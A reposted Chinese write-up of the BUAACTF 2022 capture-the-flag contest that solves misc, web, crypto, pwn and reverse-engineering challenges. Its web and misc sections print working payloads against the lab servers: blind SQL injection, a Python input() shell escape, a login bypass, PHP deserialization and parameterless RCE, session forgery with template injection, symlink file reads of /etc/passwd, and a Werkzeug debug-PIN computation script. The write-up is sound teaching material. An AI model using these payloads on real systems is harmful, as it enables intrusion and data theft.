當(dāng)前位置:首頁 > IT技術(shù) > 其他 > 正文

wp4buaactf_2022
2022-04-29 13:47:22

Misc

welcome

略。

sqlmisc2

思路

流量審計。

先把包里東西扔burp或隨便哪個url解碼網(wǎng)址解碼一下,看著方便點。

然后盤它的注入的邏輯:(注釋內(nèi)容已刪去)

user=admin' AND IF(SUBSTRING(REVERSE(CONV(HEX(SUBSTRING((SELECT GROUP_CONCAT(CONCAT(flag)) FROM chart_db.flag),1,1)),16,2)),1,1)=1,SLEEP(2),14209) AND '59548

對flag的每個字符的二進制位按從低到高時間盲注。

emmmmm然后這題有一點小問題;從包的時間無法推斷出時間盲注的結(jié)果,必須通過中間夾雜著的亂碼包(非注入語句)推斷,有亂碼包則代表睡眠了。

注入流程就是一個很傳統(tǒng)的表名-->列名-->字段名-->flag的過程,用的也是information_schema。

flag

BUAACTF{W3b_kn0wledg3_1s_4lso_imp0rt@nt!}

ez_game

思路

代碼幾乎和我的Crypto::ez_game相同,只是用了python2,且recv改成了input。

使用python2的input漏洞即可直接RCE getshell。

https://blog.csdn.net/weixin_43921239/article/details/108569794

__import__('os').system('/bin/sh')

flag

flag{Pyth0n_3scape_1s_s0_1nter3sting!}

math_is_safe

思路

代碼讓你給出黎曼猜想的反例;顯然是沒有的。

于是,又只能是交互部分的漏洞了。

考慮到sage是python寫的,直接這個再試試。

__import__('os').system('/bin/sh')

直接getshell了,無事發(fā)生。

flag

flag{F@m0us_rep0s1tory_i5_no7-Alw4ys_Saf3}

問卷

略。

最不喜歡的題目填了misc::ez_game,因為他拿我題目的殼出了和我的題目完全不相關(guān)的東西還卡了我兩天(

想暴打的出題人填了SSGSS,因為他的web簽到題害我在平臺上多了十幾次錯誤提交(逃

Web

召喚神龍

思路

審計了將近30minJS代碼無果,才發(fā)現(xiàn)每種水產(chǎn)品(包括神龍)頭上都有個字符;通關(guān)一次,記下所有的字符,試了好多次(【Il1_】分不清)才過。

flag

flag{F12_C4N_D0}

login

思路

nodejs-sql輸入類型控制不嚴導(dǎo)致越權(quán)登錄。

具體的,當(dāng)能夠使用對象傳參時,能夠使用萬能密碼登錄(也對應(yīng)了題目的message)

對于nodejs后端,可以在控制臺中生成好對象,通過fetch傳參。

fetch("http://10.212.25.14:27217/auth", {   headers: {        
    "content-type": "application/x-www-form-urlencoded",    },    
         body: "username=admin&password[password]=1",    
         method: "POST",    
         mode: "cors",   
         credentials: "include", 
   }) 
    .then((r) => r.text()) 
    .then((r) => {    console.log(r); });

data = {    
    username: "admin",    
    password: {        
        password: 1,    
    }, 
}; 
fetch("http://10.212.25.14:27217/auth", {    
    headers: {        
        "content-type": "application/json",    
    },    
    body: JSON.stringify(data),    
    method: "POST",    
    mode: "cors",    
    credentials: "include", 
}) 
    .then((r) => r.text()) 
    .then((r) => {    console.log(r); });

參考:https://blog.flatt.tech/entry/node_mysql_sqlinjection

flag

flag{ch3ck_7he_typ3}

common_php

考點

PHP反序列化+無參RCE

工具

不需要什么特別的工具;但建議在本地搭建PHP環(huán)境進行測試,以及通過PHP腳本生成payload的部分內(nèi)容。

步驟

1、雕蟲小技

前端加了一些雕蟲小技阻止大家獲取代碼,但必然是攔不住大家的。

2、構(gòu)建反序列化鏈

需要進行RCE就得進入Admin的__toString方法。

注意到admin的__call 方法中會輸出$this->admin,所以我們需要讓Admin對象中的admin屬性仍是Admin對象。

__call在類的一個不存在的方法被調(diào)用時觸發(fā);控制Guest類的information屬性為Admin對象,即可調(diào)用Admin的confirm方法(不存在),進而觸發(fā)Admin::__call

在我們進行正常輸入時,生成的序列化內(nèi)容的可控性不強;但是,程序在序列化字符串生成后進行了字符替換,這就造成了反序列化逃逸。雖然替換了某些字符,但序列化信息中對應(yīng)的屬性長度是不會變的,這就導(dǎo)致它會“吃掉”后面的部分內(nèi)容,精心設(shè)計,就可以實現(xiàn)任意序列化內(nèi)容的構(gòu)建。

3、無參RCE

不同于X-Forwarded-for或client-ip,Remote-Addr一般情況下難以偽造,所以要想進行命令執(zhí)行必須走'limited shell'那一路。

preg_replace('/[a-z,_]+((?R)?)/', NULL, $shellcode)是無參RCE過濾的關(guān)鍵部分,它的意思是遞歸的過濾形如XXX(xxx())

的內(nèi)容,舉例來說,abc(ajakfra(fahefha(fakfeaf(hepotidhb()))))是合法的,但system('ls ')因為最內(nèi)層括號有參數(shù),是不合法的。在【1】中,我們dirsearch時應(yīng)該還看到了個flag.php,所以目標是當(dāng)前目錄下的任意讀。

給出payload并解釋:shell=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));

pos(localeconv())配合獲得【'.'】字符;scandir('.')掃描當(dāng)前目錄;array_flip() 交換數(shù)組的鍵和值;array_rand() 返回數(shù)組中的隨機鍵名。這個payload的作用是隨機讀取并顯示當(dāng)前目錄下的文件;多執(zhí)行幾次,就能讀到flag.php

總結(jié)

這個題目出完后其實總體難度略低于我的預(yù)期;主要是因為水平有限+從提供服務(wù)的角度來講,代碼邏輯需要基本自洽,所以我設(shè)計的反序列化鏈有點短。最后的無參RCE也沒有用什么額外的心機,網(wǎng)上一搜一堆,注意一下過濾了current而pos可等價替代current 就行了。不過本題對于接觸web較少的同學(xué)來說難度應(yīng)該并不低;畢竟還是涉及了很多經(jīng)典知識點的。

exp

name=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag&age=0&height=0&weight=;s:11:"information";O:5:"Admin":1:{s:5:"admin";O:5:"Admin":1:{s:5:"admin";s:6:"hidden";}}}

shell=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));

flag

flag{I_@M_N0T_M4tryoshka_do1l*^_^*}

Go Get it

思路

go-gin框架搭建。

cookie(session)偽造+SSTI模板注入。

進去看到一個login界面,登錄發(fā)現(xiàn)404??匆幌略创a,發(fā)現(xiàn)它是把表單送給/auth/login處理的,但實際上應(yīng)該送給/login。抓包改一下即可。

第二步,如果你uname不是admin,它就在Response里給你set-cookie;但后續(xù)需要uname是admin的cookie才能登錄。

func adminRequired() gin.HandlerFunc {
   return func(c *gin.Context) {
      s := sessions.Default(c)
      if s.Get("uname") == nil {
         c.Redirect(302, "/login")
         c.Abort()
         return
      }

      if s.Get("uname").(string) != "admin" {
         c.String(200, "No,You are not admin!!!!")
         c.Abort()
      }
      c.Next()
   }
}

func loginPostHandler(c *gin.Context) {
   uname := c.PostForm("uname")
   pwd := c.PostForm("pwd")
/*
   if uname == "admin" {
      c.String(200, "noon,you cant be admin")
      return
   }*/這一段,本地搭建時刪掉。
   if uname == "" || pwd == "" {
      c.String(200, "empty parameter")
      return
   }

   s := sessions.Default(c)
   s.Set("uname", uname)
   s.Save()
   c.Redirect(302, "/secret")
}

所以本地搭建環(huán)境,把阻止admin生成cookie的那段刪掉,自己生成一下。

搭建環(huán)境的時候,go mod vender會出問題,要換國內(nèi)源。

使用本地偽造的cookie登錄后,在name中SSTI直接調(diào)用Password屬性即可。

(最后一步參考:https://mp.weixin.qq.com/s/MRc-wH0eHZgv5dpyw-Z6Ng)

func flag(c *gin.Context) {
   admin := &User{"admin", "flag{fake_flag}"}
   name := c.DefaultQuery("name", "challenger")
   templ := fmt.Sprintf(`
   <html>
      <head>
         <title>Go Get It</title>
      </head>
      <h1>Hello %s</h1>
   </html>    
   `, name)
   html, err := template.New("secret").Parse(templ)
   if err != nil {
      c.AbortWithError(500, err)
   }
   html.Execute(c.Writer, &admin)
}

go語言入門:https://www.topgoer.com/

flag

flag{g0lan9_@lso_ha5_s0me_s3curi7y_i55ues}

Upload_me

思路

前兩賽段做的最艱難的一題。

總的來說也不是特別復(fù)雜,但相關(guān)姿勢接觸比較少+看起來路比較多導(dǎo)致實際上做的非常艱難。

壓縮/解壓軟鏈接造成任意文件讀取+WSGI flask console PIN值破解+RCE。

先隨便發(fā)一點,發(fā)現(xiàn)后端是Werkzeug/0.14.1 Python/3.7.12

發(fā)壓縮包,后端會把它解壓、回顯出來。無法直接通過發(fā)送壓縮包造成RCE;測試了路徑穿越也無效。推測需使用軟鏈接。

? 編寫shell腳本

#!/bin/bash

ln -s  <需要鏈接的文件名> <生成文件的放置路徑>

運行生成對應(yīng)軟鏈接文件,壓縮后上傳(實測的時候壓縮包名必須和軟鏈接文件名相同,否則會多套一層文件夾。

嘗試讀取了/etc/passwd文件,知道了后端用戶名friday;隨便讀點東西,觸發(fā)報錯后找到了服務(wù)端源碼/opt/app/app.py:

讀取源碼,但沒什么用。

-- coding: utf-8 --

from flask import Flask, render_template,redirect, url_for, request, Response
import uuid
import random
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and 
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET','POST'])
def index():
    error = request.args.get('error', '')
    if error == '1':
        return render_template('index.html', forbidden=1)
    return render_template('index.html')


@app.route('/upload', methods=['POST','GET'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'

    extract_path = file_save_path + '_'
    file = ''
    os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
    dir_list = os.popen('ls ' + extract_path, 'r').read()
    print(dir_list.split())
    for dir in dir_list.split():
        if '../' in dir:
            os.system('rm -rf ' + extract_path)
            os.remove(file_save_path)
            return redirect(url_for('index', error=1))
        file += open(extract_path + '/' + dir, 'r').read()
    os.system('rm -rf ' + extract_path)
    os.remove(file_save_path)
    
    return Response(file)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=10008)

轉(zhuǎn)換思路,讀取~/.bash_history想看看管理員之前的操作或蹭車,被逮捕,且被告知下一步需要RCE。

查閱資料了解到flask console遠程debug模式需要的PIN碼是根據(jù)主機六個特定的值算出來的:

用戶名;字符串“flask.app";字符串”Flask“;flask中app.py的絕對路徑;網(wǎng)卡mac值;機器id。

/sys/class/net/eth0/address獲取網(wǎng)卡mac值,/etc/machine-id獲取機器id(注意,若是docker機,則讀/proc/self/cgroup;這里應(yīng)該不是)

使用網(wǎng)上的腳本跑出PIN值:(python2)

from sys import *
import requests
import re
from itertools import chain
import hashlib

def genpin(mac,mid):

    probably_public_bits = [
        'friday',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    mac = "0x"+mac.replace(":","")
    mac = int(mac,16)
    private_bits = [
        str(mac),# str(uuid.getnode()),  /sys/class/net/eth0/address
        str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
    ]
    
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    
    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                            for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    return rv

def getcode(content):
    try:
        return re.findall(r"<pre>([sS]*)</pre>",content)[0].split()[0]
    except:
        return ''
def getshell():
    print genpin("02:42:ac:11:00:06","96cec10d3d9307792745ec3b85c89620")

if __name__ == '__main__':
    getshell()

(參考:https://blog.csdn.net/SopRomeo/article/details/105875248)

獲取權(quán)限后,運用system+popen檢查可執(zhí)行性+獲取回顯的組合,最后執(zhí)行/readflag獲取flag。

(ls -l查看文件詳細屬性;readelf -h <文件名>查看elf文件的詳細屬性)

RCE的時候犯了愚蠢的錯誤,順便找了些os.system/linux錯誤碼相關(guān)的內(nèi)容,也一并放這里了。

https://blog.csdn.net/sxingming/article/details/52071257

flag

flag{GOD0fFlask1syouOULAOULAOULA}

Crypto

pow

思路

爆破一個md5的前四位。

沒有太多好說的,注意一下腳本里的一些類型轉(zhuǎn)換。

import string
from hashlib import md5
t = string.ascii_letters+string.digits
ans0=''
proof='K5yiwI5XrBqxU6Zg'
correct='4eb8b5ab1ad885e28d0773e27a11a97d'
for i in range(len(t)):
    for j in range(len(t)):
        for k in range(len(t)):
            for l in range(len(t)):
                md5ans = md5(t[i].encode()+t[j].encode()+t[k].encode()+t[l].encode()+proof.encode()).hexdigest()
                #print(md5ans)
                if(md5ans==correct):
                    ans0=(t[i]+t[j]+t[k]+t[l])
print(ans0)

flag

flag{To_m4ke_su7e_y0u_Ar3_n0t_DoS1ng_me!}

ez_game

考點

python_socket 自動化腳本編寫+md5碰撞

工具

python(廢話),fast_collmd5碰撞工具

步驟

第一問

問題本身沒啥好說的,主要就是腳本的編寫。

其實也比較簡單,使用socket庫,建立tcp連接,調(diào)用recv、send進行交互就行了。注意通過合理的sleep和recv字節(jié)數(shù)設(shè)置等 讓recv收到想要的東西(例如,一次性把前面的題目介紹全收完,而不是漏了一句而導(dǎo)致后面出錯)

import socket
from time import sleep
from gmpy2 import invert
address=('49.232.31.80',8088)
client=socket.socket()
client.connect(address)
sleep(1)
data=client.recv(1024)
print("server reply:",data)
client.send(b'1')
for i in range(300):
    sleep(1)
    data=str(client.recv(512))
    data=data[26:]
    print(data)
    a=m=0
    j=2
    while(data[j]>='0' and data[j]<='9'):
        a=a*10+int(data[j])
        j+=1
    j+=2
    while(data[j]>='0' and data[j]<='9'):
        m=m*10+int(data[j])
        j+=1
    print(a,m)
    print((invert(a,m)))
    client.send(str(invert(a,m)).encode())
    sleep(2)

data = str(client.recv(512))
print(data)
client.close()
第二問

在網(wǎng)上尋找md5碰撞相關(guān)內(nèi)容,可以找到fastcoll工具。(也可以找到當(dāng)年王小云院士關(guān)于md5碰撞的論文,但CTF題有現(xiàn)成工具肯定用現(xiàn)成的,就不管它了。)

其實本題 nc 套接字 是可以直接與終端交互的,但是生成的hex碰撞文件(字符串)往往編碼不出人話,所以用腳本提交是最穩(wěn)妥的

import socket
from time import sleep
address=('49.232.31.80',8088)
client=socket.socket()
client.connect(address)
sleep(1)
data=client.recv(1024)
print(data)
client.send(b'2')
sleep(1)
r1=open("1.txt","rb")
r2=open("2.txt","rb")
x=r1.read()
y=r2.read()
r1.close()
r2.close()
client.send(x)
sleep(2)
client.send(y)
sleep(2)
data=client.recv(1024)
print(data)
client.close()

兩個文件是用fastcoll生成的md5值相同的文件。

總結(jié)

本題比較簡單,主要考察大家腳本編寫能力和信息搜集能力,同時增添一點比賽的樂趣(交互題還是比較好玩的)

flag

BUAACTF{Cr3pT0_Is_60_1nte2esTin3!}

chaos_generator

思路

只要膽子大,flag隨便拿。

看一下代碼:

def chaos_maker(p, g, seed):
    res = 0
    x = seed
    for _ in range(randint(0, 1000)):
        x = pow(g, x, p)
    for i in range(256):
        x = pow(g, x, p)
        if x < (p-1) // 2:
            res -= (1 << i) - 1
        elif x > (p-1) // 2:
            res += (1 << i) + 1
        else:
            res ^= (1 << i + 1)
    return res if res > 0 else -res

def keygen(p, g):
    u, v = chaos_maker(p, g, randint(0, 1<<64)), chaos_maker(p, g, randint(0, 1<<64))
    return next_prime(u**2 + v**2) * next_prime(2*u*v)

關(guān)于seed,x,有非常多的隨機,幾乎可以判斷他們是安全的。主要的問題就在res上。

res的生成方法讓我想到NAF表示;不過這不重要。至少,res是按二進制位生成的,我們不妨多跑幾遍看二進制值的規(guī)律。果然發(fā)現(xiàn)res和p、g是存在關(guān)聯(lián)的,更具體的,一組p、g只對應(yīng)三種可能的res,且它們的二進制表示都非常有規(guī)律。大家可以自己跑跑看。

然后,直接用它的程序改一改,通過核對N找到正確的u、v,找到正確的大素數(shù),RSA解密就行了。

復(fù)習(xí)一下基本的RSA解密(逃

phi=(ans1-1)*(ans2-1)
d=invert(e,phi)
m=pow(c,d,N)
print(n2s(int(m)))

flag

flag{U_g&5-th3_BA51cs_MY_PaDawan>_<}

easyrsa

思路

題目的message就差直接告訴你讓你查資料了。

def gen():
    e = 3
    while True:
        try:
            p = getPrime(512)
            q = getPrime(512)
            n = p*q
            phi = (p-1)*(q-1)
            d = inverse(e,phi)
            if d == 1:
                continue
            return p,q,d,n,e
        except:
            continue
    return
p,q,d,n,e = gen()
c = pow(s2n(flag), e, n)
print("n = %d"%n)
print("e = %d"%e)
print("c = %d"%c)
print("mbar = %d"%(s2n(flag[:len(flag) // 2]) << 192))

要素察覺:低加密指數(shù),明文高位泄露。開搜。

https://lazzzaro.github.io/2020/05/06/crypto-RSA/

**Coppersmith攻擊(已知m的高位攻擊)**

e 足夠小,且部分明文泄露時,可以采用Coppersmith單變量模等式的攻擊,如下:

c=memodn=(mbar+x0)emodnc=memodn=(mbar+x0)emodn,其中 mbar=(m>>kbits)<<kbitsmbar=(m>>kbits)<<kbits

當(dāng) |x0|≤N1e|x0|≤N1e 時,可以在 logNlog?N 和 ee 的多項式時間內(nèi)求出 x0x0。

甚至連sage腳本都給你了。換一下參數(shù)跑一下就行了。

在線sage https://sagecell.sagemath.org/

ubuntu sage下載 https://blog.csdn.net/ckm1607011/article/details/106724624

ubuntu磁盤擴容 https://jingyan.baidu.com/article/86fae34604bdd53c49121a26.html

n = 
e = 3
c = 
mbar = 
kbits = 192
beta = 1
nbits = n.nbits()
print("upper {} bits of {} bits is given".format(nbits - kbits, nbits))
PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c
x0 = f.small_roots(X=2^kbits, beta=1)[0]  # find root < 2^kbits with factor = n
print("m:", mbar + x0)

flag

BUAACTF{Y0u_Know_c0ppersmit_s0_w3ll!!@#$#%~!@!}

ez_des

思路

題目給出了一輪des加密對應(yīng)的五組明密文,讓我們求解對應(yīng)的密鑰。

首先想一想,通過已知信息是求不出原始56位初始密鑰的,只能求出加解密時用作輪函數(shù)加的48位密鑰。

因為其他步驟的所需信息都是有的,所以我們可以正常的算出每次加解密中的afterExtend(加密從上往下走)和afterSbox(解密從下往上走),只需求解afterRoundKey。

逐S盒來看,每4位afterSbox內(nèi)容對應(yīng)4種可能的6位afterRoundKey內(nèi)容,進而與afterExtend算出4種可能的6位密鑰;因為我們有五組明密文對,分別計算,然后取結(jié)果里相同的那一組密鑰即可(五組不用算完,算到出現(xiàn)唯一相同的可能密鑰[一般只需要兩組]就行了)。

推測flag內(nèi)容是7位字符,故最后還需要補0或1,試一下(其實都不用試)就行了。

flag

flag{wtclaa!}

PWN

Or4ngeOj

思路

一道跟pwn沒有關(guān)系的“pwn題”。

給了一個能運行C代碼的OJ環(huán)境,print內(nèi)容能直接在網(wǎng)站上輸出;先嘗試System反彈Shell,但沒反應(yīng)。嘗試大一的fopen文件讀+直接輸出,直接彳亍了。

#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("Hello world.
");
char buffer[800];
FILE  *fp=fopen("./flag","r");
fgets(buffer,sizeof(buffer),fp);
     printf("%s
",buffer);
    return 0;
}

flag

flag{W3lc0me_t0_my_h4ppy_OJ}

RE

checkin

思路

出題人真的是非常良心了。引導(dǎo)完全拉滿。

加密邏輯是 洗牌+異或;trans和target直接在IDA里雙擊進去就能看到。

按部就班寫出解密:

a=''
for i in range(16):
   v11[trans[i]+24]=v9[i]
for i in range(17):
       v9[i]=v11[i+24]
for i in range(16):
    v9[i]=hex(v9[i]^0x87)
    a+=v9[i][2:]
print(v9)

注意,讀入中前面好幾部分都不是按字節(jié)讀的,需要變化一下端序。

讀入的格式是UUID;不知道的話可以上網(wǎng)查一下這是啥。其實從IDA里也能直接看出讀入格式。

flag

flag{b72dcc6c-4c13-5567-d70b-14e2253d8c21}

onequiz

思路

工具使用題。

使用jeb-pro打開安卓包,找到出題人自己寫的部分(com/examople/activity),在FirstActivity里發(fā)現(xiàn)AES字樣,解析進去查看Java源碼。

在網(wǎng)上進行base64-AES decrypt。https://icyberchef.com/

flag

flag{s1mP13_L4yer_0f_J4va}

dis_me

思路

第一賽段做的最艱難的一題。

python可執(zhí)行文件解包+反匯編出字節(jié)碼+手搓字節(jié)碼+解密。

(1)利用pyinstxtravtor進行可執(zhí)行文件解包:(現(xiàn)在這玩意可直接作用于elf了)

https://github.com/extremecoders-re/pyinstxtractor

直接python pyinstxtractor.py <路徑>即可

(2)marshall+dis生成字節(jié)碼

本題是python3.10,所以之前我常用的https://tool.lu/pyc/無效,只能解出字節(jié)碼后手搓python代碼。

f=open('src.pyc','rb')
data=f.read()
Pycode=data[16:]
import marshal
import dis
Pyobj=marshal.loads(Pycode)
dis.dis(Pyobj)

注意上述代碼在python3.9執(zhí)行是可以的,但在3.6執(zhí)行會報錯。這里的話,版本越高越好。

手搓的過程非常艱辛。python3.10的字節(jié)碼和之前有所不同,最顯著的就是comp之類的跳轉(zhuǎn)位置要*2才是真正的跳轉(zhuǎn)位置。

建議手搓的時候,使得自己程序字節(jié)碼和原字節(jié)碼幾乎完全相同,而不要只是“邏輯相同”;后者非常難debug。

一些輔助搓字節(jié)碼的玩意

https://docs.python.org/zh-cn/3/library/dis.html?highlight=字節(jié)#opcode-collections

http://unpyc.sourceforge.net/Opcodes.html

核心函數(shù):

def keyGenerator(key):
    k = [0] * 36
    (k[0], k[1], k[2], k[3]) = ((key >> 96), ((key >> 64) & 4294967295), ((key >> 32) & 4294967295), (key & 4294967295))
    (k[0], k[1], k[2], k[3]) =(k[0]^2746333894, k[1]^1453994832, k[2]^1736282519, k[3]^2993693404)
    for i in range(4, 36):
        k[i] = k[i - 4] ^ T_key(k[i - 3] ^ k[i - 2] ^ k[i - 1] ^ CK[i - 4])
    return k

def T_key(key):
    (a0, a1, a2, a3) = ((key >> 24), ((key >> 16) & 255), ((key >> 8) & 255), (key & 255))
    (b0, b1, b2, b3) = ((sbox_subtitute(a0)), (sbox_subtitute(a1)), (sbox_subtitute(a2)), (sbox_subtitute(a3)))
    key = (b0 << 24) | (b1 << 16) | (b2 << 8) | (b3)
    key = move_left(key, 13) ^ move_left(key, 23) ^ key
    return key

def T(data):
    (a0,a1,a2,a3)=((data>>24),((data>>16)&255),((data>>8)&255),(data&255))
    (b0,b1,b2,b3)=((sbox_subtitute(a0)),(sbox_subtitute(a1)),(sbox_subtitute(a2)),(sbox_subtitute(a3)))
    data = (b0 << 24) | (b1 << 16) | (b2 << 8) | (b3)
    data = move_left(data, 2) ^ move_left(data, 10) ^ move_left(data, 18) ^ move_left(data, 24) ^ data
    return data

def decrypt(data, key):
    x = [0] * 36
    (x[0], x[1], x[2], x[3]) = (
        (data >> 96), ((data >> 64) & 4294967295), ((data >> 32) & 4294967295), (data & 4294967295))
    key = keyGenerator(key)
    for i in range(4, 36):
        x[i] = (x[i - 4] ^ T(x[i - 3] ^ x[i - 2] ^ x[i - 1] ^ key[39-i]))

    cipher = (x[35] << 96) | (x[34] << 64) | (x[33] << 32) | (x[32])
    return cipher。

def move_left(data, bit):
    data = ((data << bit) & (0xFFFFFFFF)) | (data >> (32 - bit))
    return data

def sbox_subtitute(data):
    global sbox
    return sbox[data >> 4][data & 0xF]

(3)解密

先看加密:

cip1=encrypt(s2n(str1)^iv,key)
cip2=encrypt(s2n(str2)^cip1,key)
if((cip1<<128)+cip2==74409953901716602317029493075776556675983276898700682918966016542397856770799):
    print('Congratulations~')

據(jù)此,可以寫出相應(yīng)的解密:

data1 = data >> 128
data2 = data & (0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
ans1 = decrypt(data1, key) ^ iv
ans2 = decrypt(data2, key) ^ data1
ans = n2s(ans1) + n2s(ans2)

注意,CBC模式的解密是要將 第n+1組數(shù)據(jù)解密后與第n組的密文數(shù)據(jù)進行異或 是密文(data1)!不是明文(ans1)!

flag

flag{Som3_new_Fea7ures_1n_python310}

本文摘自 :https://www.cnblogs.com/

開通會員,享受整站包年服務(wù)立即開通 >